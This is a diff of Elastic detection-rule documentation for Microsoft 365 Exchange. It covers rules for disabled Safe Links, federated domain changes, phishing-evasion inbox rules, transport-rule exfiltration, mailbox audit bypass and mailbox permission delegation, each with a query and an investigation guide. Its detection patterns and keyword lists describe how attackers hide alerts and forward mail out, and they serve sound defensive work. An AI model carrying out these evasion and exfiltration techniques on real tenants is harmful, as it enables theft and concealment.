Check the recent activity of the identified user account for any unusual or unauthorized actions that could indicate a broader security incident. +- Investigate any recent changes to Safe Link policies in the Microsoft 365 environment to understand the scope and impact of the policy being disabled. +- Assess whether there have been any recent phishing attempts or suspicious emails delivered to users, which could exploit the disabled Safe Link policy. +- Coordinate with the IT security team to re-enable the Safe Link policy and implement additional monitoring to prevent future unauthorized changes. + + +*False positive analysis* + + +- Administrative changes: Legitimate administrative actions may involve disabling Safe Link policies temporarily for testing or configuration purposes. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Third-party integrations: Some third-party security tools or integrations might require Safe Link policies to be disabled for compatibility reasons. Identify and document these tools, and set up exceptions for their associated actions. +- Policy updates: During policy updates or migrations, Safe Link policies might be disabled as part of the process. Monitor and document these events, and exclude them from alerts if they match known update patterns. +- User training sessions: Safe Link policies might be disabled during user training or demonstrations to showcase potential threats. Schedule these sessions and exclude related activities from triggering alerts. + + +*Response and remediation* + + +- Immediately re-enable the Safe Link policy in Microsoft 365 to restore phishing protection for hyperlinks in documents. +- Conduct a thorough review of recent email and document deliveries to identify any potentially malicious links that may have been delivered while the Safe Link policy was disabled. +- Isolate any identified malicious links or documents and notify affected users to prevent interaction with these threats. +- Investigate the account or process that disabled the Safe Link policy to determine if it was compromised or misused, and take appropriate actions such as password resets or privilege revocation. +- Escalate the incident to the security operations team for further analysis and to determine if additional security measures are needed to prevent similar incidents. +- Implement additional monitoring and alerting for changes to Safe Link policies to ensure rapid detection of any future unauthorized modifications. +- Review and update access controls and permissions related to Safe Link policy management to ensure only authorized personnel can make changes. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Disable-SafeLinksRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-federated-domain-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-federated-domain-created-or-modified.asciidoc new file mode 100644 index 0000000000..eb06deaef2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-federated-domain-created-or-modified.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-m365-exchange-federated-domain-created-or-modified]] +=== M365 Exchange Federated Domain Created or Modified + +Identifies a new or modified federation domain, which can be used to create a trust between O365 and an external identity provider. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-federateddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/add-federateddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/msonline/set-msoldomainfederationsettings?view=azureadps-1.0 + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Federated Domain Created or Modified* + + +Federation domains enable trust between Office 365 and external identity providers, facilitating seamless authentication. Adversaries may exploit this by altering federation settings to redirect authentication flows, potentially gaining unauthorized access. The detection rule monitors specific actions like domain modifications, signaling potential privilege escalation attempts, and alerts analysts to investigate these changes. + + +*Possible investigation steps* + + +- Review the event logs for the specific actions listed in the query, such as "Set-AcceptedDomain" or "Add-FederatedDomain", to identify the exact changes made to the federation domain settings. +- Identify the user account associated with the event by examining the event logs, and verify if the account has the necessary permissions to perform such actions. +- Check the event.outcome field to confirm the success of the action and cross-reference with any recent administrative changes or requests to validate legitimacy. +- Investigate the event.provider and event.category fields to ensure the actions were performed through legitimate channels and not via unauthorized or suspicious methods. +- Analyze the timing and frequency of the federation domain changes to detect any unusual patterns or repeated attempts that could indicate malicious activity. +- Correlate the detected changes with any recent alerts or incidents involving privilege escalation or unauthorized access attempts to assess potential links or broader security implications. + + +*False positive analysis* + + +- Routine administrative changes to federation domains by IT staff can trigger alerts. To manage this, create exceptions for known and scheduled maintenance activities by trusted administrators. +- Automated scripts or tools used for domain management may cause false positives. Identify these scripts and exclude their actions from triggering alerts by whitelisting their associated accounts or IP addresses. +- Integration of new services or applications that require federation domain modifications can be mistaken for suspicious activity. Document these integrations and adjust the rule to recognize these legitimate changes. +- Changes made during organizational restructuring, such as mergers or acquisitions, might appear as unauthorized modifications. Coordinate with relevant departments to anticipate these changes and temporarily adjust monitoring thresholds or exclusions. +- Regular audits or compliance checks that involve domain settings adjustments can lead to false positives. Schedule these audits and inform the security team to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately disable any newly added or modified federation domains to prevent unauthorized access. This can be done using the appropriate administrative tools in Office 365. +- Review and revoke any suspicious or unauthorized access tokens or sessions that may have been issued through the compromised federation domain. +- Conduct a thorough audit of recent administrative actions and access logs to identify any unauthorized changes or access patterns related to the federation domain modifications. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment measures are necessary. +- Implement additional monitoring on federation domain settings to detect any further unauthorized changes promptly. +- Communicate with affected stakeholders and provide guidance on any immediate actions they need to take, such as password resets or additional authentication steps. +- Review and update federation domain policies and configurations to ensure they align with best practices and reduce the risk of similar incidents in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Set-AcceptedDomain" or +"Set-MsolDomainFederationSettings" or "Add-FederatedDomain" or "New-AcceptedDomain" or "Remove-AcceptedDomain" or "Remove-FederatedDomain") and +event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc new file mode 100644 index 0000000000..1ed69678e0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-m365-exchange-inbox-phishing-evasion-rule-created]] +=== M365 Exchange Inbox Phishing Evasion Rule Created + +Identifies when a user creates a new inbox rule in Microsoft 365 that deletes or moves emails containing suspicious keywords. Adversaries who have compromised accounts often create inbox rules to hide alerts, security notifications, or other sensitive messages by automatically deleting them or moving them to obscure folders. Common destinations include Deleted Items, Junk Email, RSS Feeds, and RSS Subscriptions. This is a New Terms rule that triggers only when the user principal name and associated source IP address have not been observed performing this activity in the past 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/defender-office-365/detect-and-remediate-outlook-rules-forms-attack +* https://learn.microsoft.com/en-us/defender-xdr/alert-grading-playbook-inbox-manipulation-rules +* https://blog.barracuda.com/2023/09/20/threat-spotlight-attackers-inbox-rules-evade-detection + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic +* Jamie Lee +* Marco Pedrinazzi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Inbox Phishing Evasion Rule Created* + + +This detection identifies the creation of potentially malicious inbox rules in Microsoft 365. These rules automatically delete or move emails with specific keywords such as "invoice", "payment", "security", or "phish". Adversaries often use these rules post-compromise to conceal warning emails, alerts from security tools, or responses from help desk teams, thereby evading detection and maintaining access. + +This is a new terms rule that alerts only when the combination of `user.id` and `source.ip` has not performed this activity in the last 14 days. + + +*Possible investigation steps* + + +- Review the `user.id` and `user.email` fields to identify the user account that created the inbox rule. +- Confirm the rule creation action in `event.action` is `New-InboxRule` and that the `event.outcome` is `success`. +- Investigate the `o365.audit.Parameters.SubjectContainsWords` field for sensitive or suspicious keywords such as: + - `invoice`, `payment`, `reset`, `phish`, `login`, `fraud`, `alert`, etc. +- Check if the rule performs any of the following: + - `MoveToFolder`: suspicious folders like `RSS Feeds`, `Junk Email`, or `Deleted Items`. + - `DeleteMessage`: if present, suggests the rule is meant to hide communications. +- Review the `source.ip` and `source.geo.*` fields to validate whether the IP address and location match expected user behavior. +- Examine whether the rule was created via a suspicious interface like Exchange Admin or through external automation. +- Check for recent sign-in anomalies, credential changes, or unusual mailbox activity for the user (e.g., email forwarding, MFA prompts). + + +*False positive analysis* + + +- Some rules may be created by users for legitimate purposes (e.g., moving newsletters). +- Outlook plugins or automated email management tools could create rules that resemble this behavior. +- Newly onboarded employees might configure rules for personal filtering without malicious intent. + + +*Response and remediation* + + +- If the rule is determined to be malicious: + - Remove the inbox rule immediately. + - Review the user’s mailbox for signs of data theft or additional manipulation (e.g., auto-forwarding, altered reply-to addresses). + - Investigate surrounding activity such as MFA changes, token refreshes, or admin role assignments. + - Revoke tokens and initiate a password reset for the compromised user. +- If broader compromise is suspected: + - Review audit logs for other inbox rule creations across the tenant. + - Check whether other users from the same source IP performed similar activity. + - Educate the user on safe email handling and rule creation best practices. +- Strengthen detection: + - Enable Microsoft Defender for Office 365 Safe Rules. + - Use mailbox auditing and DLP policies to monitor hidden inbox activity. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "o365.audit" and + event.action: ("New-InboxRule" or "Set-InboxRule") and event.outcome: "success" and + ( + o365.audit.Parameters.BodyContainsWords: "\u0000" or + o365.audit.Parameters.WithinSizeRangeMinimum <= 1023 or + o365.audit.Parameters.SubjectContainsWords: ( + *phish* or + *hack* or + *alert* or + *malware* or + *security* or + *invoice* or + *payment* or + *wire* or + *transfer* or + *fraud* or + *reset* or + *unusual* or + *protection* or + *login* or + *suspicious* + ) + ) and ( + o365.audit.Parameters.DeleteMessage: True or + o365.audit.Parameters.MoveToFolder: ( + *Deleted* or + *Junk* or + *RSS* or + *Calendar* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Email Hiding Rules +** ID: T1564.008 +** Reference URL: https://attack.mitre.org/techniques/T1564/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Outlook Rules +** ID: T1137.005 +** Reference URL: https://attack.mitre.org/techniques/T1137/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-created.asciidoc new file mode 100644 index 0000000000..267f087d94 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-created.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-created]] +=== M365 Exchange Mail Flow Transport Rule Created + +Identifies a transport rule creation in Microsoft 365. As a best practice, Exchange Online mail transport rules should not be set to forward email to domains outside of your organization. An adversary may create transport rules to exfiltrate data. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mail Flow Transport Rule Created* + + +Microsoft 365 Exchange transport rules automate email handling, applying actions like forwarding or blocking based on conditions. While beneficial for managing communications, adversaries can exploit these rules to redirect emails externally, facilitating data exfiltration. The detection rule monitors successful creation of new transport rules, flagging potential misuse by identifying specific actions and outcomes in audit logs. + + +*Possible investigation steps* + + +- Review the audit logs for the event.dataset:o365.audit to identify the user account responsible for creating the new transport rule. +- Examine the event.provider:Exchange and event.category:web fields to confirm the context and source of the rule creation. +- Investigate the event.action:"New-TransportRule" to understand the specific conditions and actions defined in the newly created transport rule. +- Check the event.outcome:success to ensure the rule creation was completed successfully and assess if it aligns with expected administrative activities. +- Analyze the transport rule settings to determine if it includes actions that forward emails to external domains, which could indicate potential data exfiltration. +- Correlate the findings with other security events or alerts to identify any patterns or anomalies that might suggest malicious intent. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when IT staff create or modify transport rules for legitimate purposes. To manage this, establish a baseline of expected rule creation activities and exclude these from alerts. +- Automated systems or third-party applications that integrate with Microsoft 365 might create transport rules as part of their normal operation. Identify these systems and create exceptions for their known actions. +- Changes in organizational policies or email handling procedures can lead to legitimate rule creations. Document these changes and update the monitoring system to recognize them as non-threatening. +- Regular audits or compliance checks might involve creating temporary transport rules. Coordinate with audit teams to schedule these activities and temporarily adjust alert thresholds or exclusions during these periods. + + +*Response and remediation* + + +- Immediately disable the newly created transport rule to prevent further unauthorized email forwarding or data exfiltration. +- Conduct a thorough review of the audit logs to identify any other suspicious transport rules or related activities that may indicate a broader compromise. +- Isolate the affected user accounts or systems associated with the creation of the transport rule to prevent further unauthorized access or actions. +- Reset passwords and enforce multi-factor authentication for the affected accounts to secure access and prevent recurrence. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of a broader compromise or if sensitive data has been exfiltrated. +- Implement enhanced monitoring and alerting for transport rule changes to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"New-TransportRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Email Forwarding Rule +** ID: T1114.003 +** Reference URL: https://attack.mitre.org/techniques/T1114/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-modified.asciidoc new file mode 100644 index 0000000000..ad87f74e72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-modified.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-modified]] +=== M365 Exchange Mail Flow Transport Rule Modified + +Identifies when a transport rule has been disabled or deleted in Microsoft 365. Mail flow rules (also known as transport rules) are used to identify and take action on messages that flow through your organization. An adversary or insider threat may modify a transport rule to exfiltrate data or evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mail Flow Transport Rule Modified* + + +Microsoft 365 Exchange transport rules manage email flow by setting conditions and actions for messages. Adversaries may exploit these rules to disable or delete them, facilitating data exfiltration or bypassing security measures. The detection rule monitors audit logs for successful execution of commands that alter these rules, signaling potential misuse and enabling timely investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:o365.audit entries with event.provider:Exchange to confirm the occurrence of the "Remove-TransportRule" or "Disable-TransportRule" actions. +- Identify the user account associated with the event by examining the user information in the audit logs to determine if the action was performed by an authorized individual or a potential adversary. +- Check the event.category:web context to understand if the action was performed through a web interface, which might indicate a compromised account or unauthorized access. +- Investigate the event.outcome:success to ensure that the rule modification was indeed successful and not an attempted action. +- Correlate the timing of the rule modification with other security events or alerts to identify any concurrent suspicious activities that might suggest a broader attack or data exfiltration attempt. +- Assess the impact of the rule modification by reviewing the affected transport rules to determine if they were critical for security or compliance, and evaluate the potential risk to the organization. + + +*False positive analysis* + + +- Routine administrative changes to transport rules by IT staff can trigger alerts. To manage this, maintain a list of authorized personnel and their expected activities, and create exceptions for these users in the monitoring system. +- Scheduled maintenance or updates to transport rules may result in false positives. Document these activities and adjust the monitoring system to temporarily exclude these events during known maintenance windows. +- Automated scripts or third-party tools that manage transport rules might cause alerts. Identify these tools and their typical behavior, then configure the monitoring system to recognize and exclude these benign actions. +- Changes made as part of compliance audits or security assessments can be mistaken for malicious activity. Coordinate with audit teams to log these activities separately and adjust the monitoring system to account for these legitimate changes. + + +*Response and remediation* + + +- Immediately disable any compromised accounts identified in the audit logs to prevent further unauthorized modifications to transport rules. +- Revert any unauthorized changes to transport rules by restoring them to their previous configurations using backup data or logs. +- Conduct a thorough review of all transport rules to ensure no additional unauthorized modifications have been made, and confirm that all rules align with organizational security policies. +- Implement additional monitoring on the affected accounts and transport rules to detect any further suspicious activities or attempts to modify rules. +- Escalate the incident to the security operations team for a deeper investigation into potential data exfiltration activities and to assess the scope of the breach. +- Coordinate with legal and compliance teams to determine if any regulatory reporting is required due to potential data exfiltration. +- Enhance security measures by enabling multi-factor authentication (MFA) for all administrative accounts and reviewing access permissions to ensure the principle of least privilege is enforced. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-TransportRule" or "Disable-TransportRule") and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc new file mode 100644 index 0000000000..886ac0d606 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-m365-exchange-mailbox-audit-logging-bypass-added]] +=== M365 Exchange Mailbox Audit Logging Bypass Added + +Detects the occurrence of mailbox audit bypass associations. The mailbox audit is responsible for logging specified mailbox events (like accessing a folder or a message or permanently deleting a message). However, actions taken by some authorized accounts, such as accounts used by third-party tools or accounts used for lawful monitoring, can create a large number of mailbox audit log entries and may not be of interest to your organization. Because of this, administrators can create bypass associations, allowing certain accounts to perform their tasks without being logged. Attackers can abuse this allowlist mechanism to conceal actions taken, as the mailbox audit will log no activity done by the account. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/misconfig/status/1476144066807140355 + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mailbox Audit Logging Bypass Added* + + +In Microsoft 365 environments, mailbox audit logging is crucial for tracking user activities like accessing or deleting emails. However, administrators can exempt certain accounts from logging to reduce noise, which attackers might exploit to hide their actions. The detection rule identifies successful attempts to create such exemptions, signaling potential misuse of this bypass mechanism. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset set to o365.audit and event.provider set to Exchange to confirm the presence of the Set-MailboxAuditBypassAssociation action. +- Identify the account associated with the event.action Set-MailboxAuditBypassAssociation and verify if it is a known and authorized account for creating audit bypass associations. +- Check the event.outcome field to ensure the action was successful and determine if there are any other related unsuccessful attempts that might indicate trial and error by an attacker. +- Investigate the history of the account involved in the bypass association to identify any unusual or suspicious activities, such as recent changes in permissions or unexpected login locations. +- Cross-reference the account with any known third-party tools or lawful monitoring accounts to determine if the bypass is legitimate or potentially malicious. +- Assess the risk and impact of the bypass by evaluating the types of activities that would no longer be logged for the account in question, considering the organization's security policies and compliance requirements. + + +*False positive analysis* + + +- Authorized third-party tools may generate a high volume of mailbox audit log entries, leading to bypass associations being set. Review and document these tools to ensure they are legitimate and necessary for business operations. +- Accounts used for lawful monitoring might be exempted from logging to reduce noise. Verify that these accounts are properly documented and that their activities align with organizational policies. +- Regularly review the list of accounts with bypass associations to ensure that only necessary and approved accounts are included. Remove any accounts that no longer require exemptions. +- Implement a process for periodically auditing bypass associations to detect any unauthorized changes or additions, ensuring that only intended accounts are exempted from logging. +- Consider setting up alerts for any new bypass associations to quickly identify and investigate potential misuse or unauthorized changes. + + +*Response and remediation* + + +- Immediately isolate the account associated with the successful Set-MailboxAuditBypassAssociation event to prevent further unauthorized actions. +- Review and revoke any unauthorized mailbox audit bypass associations to ensure all relevant activities are logged. +- Conduct a thorough audit of recent activities performed by the affected account to identify any suspicious or malicious actions that may have been concealed. +- Reset credentials for the compromised account and any other accounts that may have been affected to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring for similar bypass attempts to enhance detection capabilities and prevent recurrence. +- Consider escalating the incident to a higher security tier or external cybersecurity experts if the scope of the breach is extensive or if internal resources are insufficient to handle the threat. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.action:Set-MailboxAuditBypassAssociation and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc new file mode 100644 index 0000000000..322b2a52d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-m365-exchange-mailbox-high-risk-permission-delegated]] +=== M365 Exchange Mailbox High-Risk Permission Delegated + +Identifies the assignment of rights to access content from another mailbox. An adversary may use the compromised account to send messages to other accounts in the network of the target organization while creating inbox rules, so messages can evade spam/phishing detection mechanisms. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/microsoft-365/admin/add-users/give-mailbox-permissions-to-another-user?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft Exchange +* Data Source: Microsoft 365 Audit Logs +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Mailbox High-Risk Permission Delegated* + + +This rule detects the delegation of mailbox permissions in Microsoft 365 Exchange. This behavior may indicate that an adversary is attempting to gain access to another user's mailbox or send messages on behalf of that user. + + +*Possible Investigation Steps* + +- `user.id` and 